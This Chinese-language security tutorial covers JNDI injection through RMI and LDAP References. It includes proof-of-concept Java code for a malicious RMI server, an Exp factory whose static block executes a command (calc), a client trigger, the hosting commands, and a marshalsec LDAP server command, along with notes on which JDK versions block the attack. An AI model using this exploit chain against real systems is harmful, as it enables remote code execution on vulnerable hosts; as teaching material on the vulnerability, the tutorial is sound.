JNDI(Java Naming and Directory Interface)是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口

RMI+JNDI References注入

在JNDI服务中,RMI服务器除了直接绑定远程对象,还可以通过References类来绑定一个外部的远程对象。绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup()这个远程对象的时,客户端会获取相应的object factory,最终通过factory类将reference转化为具体的对象实例

攻击流程:

1.目标代码中调用了InitialContext.lookup(URI),且URI为用户可控

2.攻击者控制URI参数为恶意的RMI服务地址

3.攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类

4.目标在进行lookup()操作时,会动态加载并实例化Factory类(会执行其中的静态代码块),接着调用factory.getObjectInstance()获取外部远程对象实例

Server代码:

public class Server {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference Exp = new Reference("Exp","Exp","http://127.0.0.1:2333/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(Exp);
        registry.bind("Exp",referenceWrapper);
    }

Exp代码:

public class Exp implements ObjectFactory
{

   static {
       System.err.println("Pwned");
       try {
           String[] cmd = {"calc"};
           java.lang.Runtime.getRuntime().exec(cmd);
       } catch ( Exception e ) {
           e.printStackTrace();
       }
   }
   public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
       return null;
   }
}

用python开一个http服务 将其放进去

python3 -m http.server 2333

​ 客户端代码:

public class Client {
    public static void main(String[] args) throws NamingException {
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099/");
        Context ctx = new InitialContext(env);
        ctx.lookup("Exp");
    }
}

image20220206121258593.png

JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

LDAP+JNDI Reference注入

LDAP全程是轻量级目录访问协议

目录是一个为查询,浏览和搜索而优化的数据库,成树状结构组织数据(类似文件目录)

LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup中的URL为一个LDAP地址:ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象

LDAP服务的Reference远程加载Factory类不受com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase的限制,使用范围更广

使用marshalsec开启一个恶意的LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:2333/#Exp 9999

image20220206132055104.png